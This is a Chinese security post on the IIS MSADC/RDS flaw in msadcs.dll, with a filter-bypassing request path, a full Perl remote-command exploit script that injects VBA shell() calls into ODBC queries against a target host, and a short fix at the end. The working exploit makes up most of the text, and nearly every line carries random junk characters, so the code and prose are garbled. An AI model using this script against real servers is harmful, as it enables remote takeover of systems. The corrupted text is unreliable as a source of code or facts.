IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
N/)mw/?i <'A>7M~h?* 涉及程序：
C%d 4ItB > Microsoft NT server
7}bjJR " ];Whvdnv 描述：
lJ]r %YlF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!f_GR P j' P# 2&?.d\ 详细：
zi:F/TlUC 如果你没有时间读详细内容的话，就删除:
bb;fV c:\Program Files\Common Files\System\Msadc\msadcs.dll
mY-Z$8r 有关的安全问题就没有了。
||
?B1 5A 1oZ+C# 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/ uI/8>p( oR}ir 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
ulFU( % & 关于利用ODBC远程漏洞的描述，请参看:
o;Ijv\Em 4W8rb'B!Ay http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l |`FW XuJwZN!( 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
lEi,duS) http://www.microsoft.com/security/bulletins/MS99-025faq.asp oTtmn,
T > 7!aZO 这里不再论述。
s# w+^Mw$ Qo 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"M6a_rZ2W FW7+! A&F /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
EZ #UdK_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Y0BvN `E hM
E|=\
O;[PEV ~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
BEvSX|M>x )DMu`cD #!perl
)uf Hk #
%Hv$PsSJ # MSADC/RDS 'usage' (aka exploit) script
yb/<
7 #
W9 y8dw. # by rain.forest.puppy
Orh5d 7+S #
yp5*8g5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
3M{!yPlj # beta test and find errors!
j5z, l *F:]mgg use Socket; use Getopt::Std;
'R_U,9y` getopts("e:vd:h:XR", \%args);
!boKrSw 9CJUOB>] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$o\p[ "DP 3iYz<M if (!defined $args{h} && !defined $args{R}) {
yWIieztp print qq~
`'Ta=kd3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
;t%L (J -h <host> = host you want to scan (ip or domain)
|PH]0.m5 -d <seconds> = delay between calls, default 1 second
1 hZM) ) -X = dump Index Server path table, if available
y:4Sw#M%( -v = verbose
ZJ"*A+IJx[ -e = external dictionary file for step 5
fLI@;*hL0 xy mK| Or a -R will resume a command session
|}Mkn4 sxL;o >{ ~; exit;}
d1e'!y}R5 w%S<N $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
5K'EuI) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7i{Rn K6* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
rQ}4\PTi
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qIjC-#a=m $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|L;'In if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:EgdV CW\o >yh if (!defined $args{R}){ $ret = &has_msadc;
/p\Ymq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=@pm-rI|- 2DQ'h}BI print "Please type the NT commandline you want to run (cmd /c assumed):\n"
yE9JMi 0 . "cmd /c ";
6(9Ta'ywZ $in=<STDIN>; chomp $in;
lk.Q6saI1 $command="cmd /c " . $in ;
F/j=rs,*|D @PwEom`a if (defined $args{R}) {&load; exit;}
?]fBds= k`g+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
w2]1ftY &try_btcustmr;
`RGZ-Q{_ ';aPoaO % print "\nStep 2: Trying to make our own DSN...";
x(}t r27o &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
I.x0$ac7 ^%_B'X9 print "\nStep 3: Trying known DSNs...";
8YkP57Y%[Z &known_dsn;
74gU 4 T H'gPGOd print "\nStep 4: Trying known .mdbs...";
lG# &Pv>- &known_mdb;
K'?ab 0 bG ^eP :r if (defined $args{e}){
Jr17pu(t print "\nStep 5: Trying dictionary of DSN names...";
/oiAAB27 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
JS(KCY 9 YD@V2 g K print "Sorry Charley...maybe next time?\n";
tB(Q -c exit;
!c6 lP'U 1< \cMY6 ##############################################################################
p00\C Rp`}"x9 sub sendraw { # ripped and modded from whisker
bSz6O/A/ sleep($delay); # it's a DoS on the server! At least on mine...
LV8,nTYv E my ($pstr)=@_;
d,<ctd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!LIWoa[ F. die("Socket problems\n");
asQ" |]m if(connect(S,pack "SnA4x8",2,80,$target)){
w-/bLg[L?$ select(S); $|=1;
s # L1:L print $pstr; my @in=<S>;
[Hd^49<P2 select(STDOUT); close(S);
*otJtEI>6 return @in;
Yf {s0Z } else { die("Can't connect...\n"); }}
W@wT ,yJ8@ X0vkdNgW ##############################################################################
|lJXI:G G /2l 4'Q= sub make_header { # make the HTTP request
r }hj,Sq' my $msadc=<<EOT
-8 &f=J ) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?-@h Nrx User-Agent: ACTIVEDATA
^[zF_df Host: $ip
<R3 S{ ty Content-Length: $clen
EXJ>Z Connection: Keep-Alive
B/5C jHz ev8 E.ehD ADCClientVersion:01.06
}1R k]$XC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
{ +C>^b QJ"B d`wc --!ADM!ROX!YOUR!WORLD!
&7@6Y {!/
Content-Type: application/x-varg
2Y wV} Content-Length: $reqlen
5j ]}/Aq a S<JsB EOT
6 Dg [ b ; $msadc=~s/\n/\r\n/g;
h@W }xT return $msadc;}
|d%D w^ QyHUuG|g ##############################################################################
=z=Guvcn` =HoiQWQs` sub make_req { # make the RDS request
Mm6
(Q my ($switch, $p1, $p2)=@_;
7FMHz.ZRE my $req=""; my $t1, $t2, $query, $dsn;
%{}Jr` 3tr?-l[N\ if ($switch==1){ # this is the btcustmr.mdb query
0.@/I}R[ $query="Select * from Customers where City=" . make_shell();
#h r!7Kc;N $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
U Ciq'^, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1]hMA\x )3..7ht3^5 elsif ($switch==2){ # this is general make table query
<CA
lJ $query="create table AZZ (B int, C varchar(10))";
PKj A@+ $dsn="$p1";}
iicrRGp3 9 l,Gd elsif ($switch==3){ # this is general exploit table query
p ^L6uM $query="select * from AZZ where C=" . make_shell();
t#P)KcWOt $dsn="$p1";}
hlUF9} Nju7!yVM_ elsif ($switch==4){ # attempt to hork file info from index server
W1: o2 C7 $query="select path from scope()";
,Y`C7Px $dsn="Provider=MSIDXS;";}
&UzZE17R {g @
*jo& elsif ($switch==5){ # bad query
@'}X&TN<a $query="select";
-TD6s:' $dsn="$p1";}
D J<c Zb9@U: \ $t1= make_unicode($query);
}(hE{((o $t2= make_unicode($dsn);
MnX2sX| $req = "\x02\x00\x03\x00";
z4f5@ $req.= "\x08\x00" . pack ("S1", length($t1));
U3z a}3 $req.= "\x00\x00" . $t1 ;
RsV<*s $req.= "\x08\x00" . pack ("S1", length($t2));
t8P>s})[4 $req.= "\x00\x00" . $t2 ;
DG:=E/ @ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:\bttPw5 return $req;}
@8CD@SDv ;<MaCtDt ##############################################################################
(O<l Vz@8 G+%ZN sub make_shell { # this makes the shell() statement
hG
]j m return "'|shell(\"$command\")|'";}
|Pj _L` G \DQ; v ##############################################################################
Jx{,x-I X,OxvmDm sub make_unicode { # quick little function to convert to unicode
%
tJ?dlD' my ($in)=@_; my $out;
X`aED\#\h for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
. 7kVC return $out;}
#);
6+v ZDVaKDqZ_ ##############################################################################
.4^Paxz 3[e@mcO sub rdo_success { # checks for RDO return success (this is kludge)
st+Kz uK my (@in) = @_; my $base=content_start(@in);
Br yMq ! if($in[$base]=~/multipart\/mixed/){
ZR#UoYjupb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
PkVXn
return 0;}
}F3Z~ :JN 3@NsK ##############################################################################
~z
aV. 3# ~P/G^cV3s sub make_dsn { # this makes a DSN for us
L9kSeBt my @drives=("c","d","e","f");
tjTF?>^6| print "\nMaking DSN: ";
[2FXs52 foreach $drive (@drives) {
F;_; lRAb print "$drive: ";
# 15q`w my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[ wu%t8O2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4o=G) KO{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A{c6XQR~z $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|j!D _j#U return 0 if $2 eq "404"; # not found/doesn't exist
4 B> l|% if($2 eq "200") {
1/fvk foreach $line (@results) {
-~-2 g return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"Km`B1f` } return 0;}
K3X y%pqR# *Z0}0<
D@Z ##############################################################################
@ + 2Zt% V2y[IeS Q sub verify_exists {
P `oR-D my ($page)=@_;
D=OU 61AA my @results=sendraw("GET $page HTTP/1.0\n\n");
6@$[x* V return $results[0];}
' 5Ieqpm9 au7BqV!uL ##############################################################################
% !=YNm u( o @_6 sub try_btcustmr {
7d akj>JM my @drives=("c","d","e","f");
C9nNziws my @dirs=("winnt","winnt35","winnt351","win","windows");
z^b\hR x``!t>)O foreach $dir (@dirs) {
1";~"p2( print "$dir -> "; # fun status so you can see progress
6 Sl foreach $drive (@drives) {
o _CVZ print "$drive: "; # ditto
<T}#>xHs3 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Vnl~AQfk| $reqlenlen=length( "$reqlen" );
\vT8
)\ $clen= 206 + $reqlenlen + $reqlen;
^ ID%p d nph{ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%*/[aq, # if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
'v,W
gPe else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=DCQ!02 /#
eBDo ##############################################################################
4-"wFp &B.r&K& sub odbc_error {
t #AQD]h my (@in)=@_; my $base;
Iq5F^rH`[ my $base = content_start(@in);
U-k;kmaj if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|'J3"am' $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
i3GvTg-X $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iIT<{m&` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
-@73" w/ return $in[$base+4].$in[$base+5].$in[$base+6];}
cn#a/Hx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
yO($K L + print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5 4OYAkPCk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
PY2`RZ/ @ 9w(j2i
q ##############################################################################
G]S E
A C VU DN2 sub verbose {
A1@-;/H3 my ($in)=@_;
-Rvxjy)[N return if !$verbose;
.d fTv/n print STDOUT "\n$in\n";}
3}+/\:q* X}!_p& WI ##############################################################################
U!'lc} 5 Dxe|4"%^ sub save {
/}VQzF my ($p1, $p2, $p3, $p4)=@_;
she`_'?5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
r" D |1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\xdt|:8 close OUT;}
xvkof
'Q ) 0g+@WK6y ##############################################################################
i~.[iZf| Vy9n3W"FB1 sub load {
}n.h)Oz my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T 'V(%\w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y}Dp{ @p=<IN>; close(IN);
}}2 kA $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
pFK
|4u $target= inet_aton($ip) || die("inet_aton problems");
(kHR$8GFM print "Resuming to $ip ...";
j@ "`!uPz $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
RpXQi*c0 if($p[1]==1) {
l=oVC6C $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
x
B?:G $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-r2cK{Hhp& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
cU>&E* wD if (rdo_success(@results)){print "Success!\n";}
7^; OjO@8 else { print "failed\n"; verbose(odbc_error(@results));}}
d#*5U9\z elsif ($p[1]==3){
Z^|C~lp;n if(run_query("$p[3]")){
bXfOZFzq) print "Success!\n";} else { print "failed\n"; }}
"VeUOdNA> elsif ($p[1]==4){
d5%*^nMpY if(run_query($drvst . "$p[3]")){
1^ ;h:,e6 print "Success!\n"; } else { print "failed\n"; }}
rEf\|x=st: exit;}
"tar k' =6dKC_Q ##############################################################################
xsvs3y | G2 25Nz;Y* sub create_table {
9JtvHUkO my ($in)=@_;
Q. Xs Y.{ $reqlen=length( make_req(2,$in,"") ) - 28;
%8 tN$8P $reqlenlen=length( "$reqlen" );
)L!R~F
C $clen= 206 + $reqlenlen + $reqlen;
'2tEKVb my @results=sendraw(make_header() . make_req(2,$in,""));
cg.e(@( return 1 if rdo_success(@results);
$SXxAS 1 my $temp= odbc_error(@results); verbose($temp);
I5A^/=bf & return 1 if $temp=~/Table 'AZZ' already exists/;
;!}SgzSH} return 0;}
v;Dcq Z:hrrq9 ##############################################################################
hq*JQb;Y} \,EPsQV0? sub known_dsn {
VqrMi *W6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P~<93 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
d{hYT\7~1( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G"[pr%? "banner", "banners", "ads", "ADCDemo", "ADCTest");
6'ZnyWb StL[\9 ~: foreach $dSn (@dsns) {
gB(W`:[ print ".";
9O Q4\ next if (!is_access("DSN=$dSn"));
Ib\G{$r if(create_table("DSN=$dSn")){
WK}+f4tdW[ print "$dSn successful\n";
=QfKDA if(run_query("DSN=$dSn")){
a X %Zuyny print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hN53= X: print "Something's borked. Use verbose next time\n";}}} print "\n";}
h n|E < eh>E). ##############################################################################
UT~2}B9fc E, fp=. sub is_access {
nc~d*K\! my ($in)=@_;
4sQAR6_SW~ $reqlen=length( make_req(5,$in,"") ) - 28;
{?y7' $reqlenlen=length( "$reqlen" );
+E~`H^ $clen= 206 + $reqlenlen + $reqlen;
Z
~9N my @results=sendraw(make_header() . make_req(5,$in,""));
PoJ yWC my $temp= odbc_error(@results);
f5 % & verbose($temp); return 1 if ($temp=~/Microsoft Access/);
=)YYx8gR return 0;}
zrO|L|F&P ss{= ::# ##############################################################################
~BZV:Es KaE ;4gwM sub run_query {
bW ^QH-t my ($in)=@_;
3x0wk9lND $reqlen=length( make_req(3,$in,"") ) - 28;
yTt (fn:; $reqlenlen=length( "$reqlen" );
->&VbR) $clen= 206 + $reqlenlen + $reqlen;
~k0)+D} my @results=sendraw(make_header() . make_req(3,$in,""));
*F*fH>?C# return 1 if rdo_success(@results);
0|!<|N< my $temp= odbc_error(@results); verbose($temp);
B9DxV>mr\r return 0;}
;cn .s, GKhwn&qCKb ##############################################################################
\,gZNe&Vv -!>ZATL<B sub known_mdb {
bMZ n7c my @drives=("c","d","e","f","g");
g <4M!gi my @dirs=("winnt","winnt35","winnt351","win","windows");
Sc$wR{W<: my $dir, $drive, $mdb;
DB%AO:8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+i#sS19h '?gI cWM # this is sparse, because I don't know of many
V8$bPV ps my @sysmdbs=( "\\catroot\\icatalog.mdb",
|Du13i4].& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Qsxkw "\\system32\\certmdb.mdb",
&[ Zap6] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
h&M
RQn o w00\1'-Kz my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F` 5/9?;| "\\cfusion\\cfapps\\forums\\forums_.mdb",
Yb3f]4EH "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p}DF$k %` "\\cfusion\\cfapps\\security\\realm_.mdb",
wV&f|JO0+ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+7< > x-+ "\\cfusion\\database\\cfexamples.mdb",
]MLLr'6? "\\cfusion\\database\\cfsnippets.mdb",
y6Epi|8 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{dx /p-Tv "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0o$HC86w "\\cfusion\\brighttiger\\database\\cleam.mdb",
wv.Ul rpx. "\\cfusion\\database\\smpolicy.mdb",
s]vJUC,s "\\cfusion\\database\cypress.mdb",
Kbdf SF$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*-AAQ "\\website\\cgi-win\\dbsample.mdb",
~1 r*/@M[V "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[F)/mN "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
62l0
Z- ); #these are just
|id79qY7g foreach $drive (@drives) {
XQJ ^)d00h foreach $dir (@dirs){
u%1k foreach $mdb (@sysmdbs) {
{dA
~#fW< print ".";
B H0#Q5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
N 3yB1_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
tP
Efz+1N if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
hJo^W o print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
x~9z`d {! } else { print "Something's borked. Use verbose next time\n"; }}}}}
Ipz
1+
#s' d 6@jEa- foreach $drive (@drives) {
9X$#x90 foreach $mdb (@mdbs) {
uWB:"&! ^ print ".";
T
E&Q6 if(create_table($drv . $drive . $dir . $mdb)){
vMX6Bg8 print "\n" . $drive . $dir . $mdb . " successful\n";
dHq )vs,L if(run_query($drv . $drive . $dir . $mdb)){
9^QYuf3O print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
wz* A <iU } else { print "Something's borked. Use verbose next time\n"; }}}}
#}!>iFBcH }
r d 6F"W Ls >u` hG ##############################################################################
8yWu{'G 5\ w=(c 9A sub hork_idx {
.p(6' TYnI print "\nAttempting to dump Index Server tables...\n";
R=amKLD? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4-+ozC{ $reqlen=length( make_req(4,"","") ) - 28;
#A/]Vs$ $reqlenlen=length( "$reqlen" );
t&9as } $clen= 206 + $reqlenlen + $reqlen;
RCh$j&Tn my @results=sendraw2(make_header() . make_req(4,"",""));
=,d* {m~A if (rdo_success(@results)){
Y%)h)El
my $max=@results; my $c; my %d;
@nx}6?p\, for($c=19; $c<$max; $c++){
9Z0CF~Y5 $results[$c]=~s/\x00//g;
9]L! . $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[7e{=\`= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
02W 4- *) $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
iRUR4Zs $d{"$1$2"}="";}
C~KWH @ foreach $c (keys %d){ print "$c\n"; }
xQ#Akd = } else {print "Index server doesn't seem to be installed.\n"; }}
(9KDtr*(2i = (.mf ##############################################################################
Rnj Jg?I= 5]H))}9>d sub dsn_dict {
l$-=Pqb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
s("Cn/ZkS while(<IN>){
;5D @k S^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
i.&Kpw9;m next if (!is_access("DSN=$dSn"));
XSp x''l if(create_table("DSN=$dSn")){
jom} _ print "$dSn successful\n";
GS GyF if(run_query("DSN=$dSn")){
M9Nk=s! 3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qIDWl{b< print "Something's borked. Use verbose next time\n";}}}
hY.e [+ print "\n"; close(IN);}
jSie&V@ px )l# %.Z9 ##############################################################################
:Hzz{' (:?5 i` sub sendraw2 { # ripped and modded from whisker
t +3 sleep($delay); # it's a DoS on the server! At least on mine...
>[|GC/C my ($pstr)=@_;
8O 8\q
;US socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
d2C[wQF die("Socket problems\n");
}fJ:wku if(connect(S,pack "SnA4x8",2,80,$target)){
rnn2u+OG print "Connected. Getting data";
{d 1N& open(OUT,">raw.out"); my @in;
QiTR-M2C! select(S); $|=1; print $pstr;
abROFI5.L while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$u; >hk close(OUT); select(STDOUT); close(S); return @in;
`Di ^6UK( } else { die("Can't connect...\n"); }}
fiE>H~ G2CZwm{/f ##############################################################################
&RK H 2R }osHA`x"2 sub content_start { # this will take in the server headers
dThR)Z'= my (@in)=@_; my $c;
x|@1 wQ" 6 for ($c=1;$c<500;$c++) {
V3>f*Z)xn if($in[$c] =~/^\x0d\x0a/){
s[G |q5n if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Wl&
>6./{ else { return $c+1; }}}
t7u m
[ return -1;} # it should never get here actually
{cR_?Y@ a=J@y K ##############################################################################
iK5]y+@8 +{,N X sub funky {
ZnvEv;P my (@in)=@_; my $error=odbc_error(@in);
V!T^wh; if($error=~/ADO could not find the specified provider/){
wr$cK'5ZL print "\nServer returned an ADO miscofiguration message\nAborting.\n";
k^H0b\hYY exit;}
ydwK!j0y if($error=~/A Handler is required/){
FOOQ'o[} print "\nServer has custom handler filters (they most likely are patched)\n";
FX
HAZ2/\ exit;}
rc;7W: if($error=~/specified Handler has denied Access/){
(3
IZ print "\nServer has custom handler filters (they most likely are patched)\n";
{S5R K-ax exit;}}
< | {L[ y z[%MXI ##############################################################################
> _;kT y, 6 gj]y ^} sub has_msadc {
|av*!i5Q my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
o Lg g my $base=content_start(@results);
Km6Ub?/7o return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
A", e S6 return 0;}
]b4pI*:$I Ik`O.Q.} ########################
!]$V9F{K WGH%9 2 U7^7/s/. 解决方案：
.:w#&yM [U 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
f ,tW_g 2、移除web 目录: /msadc
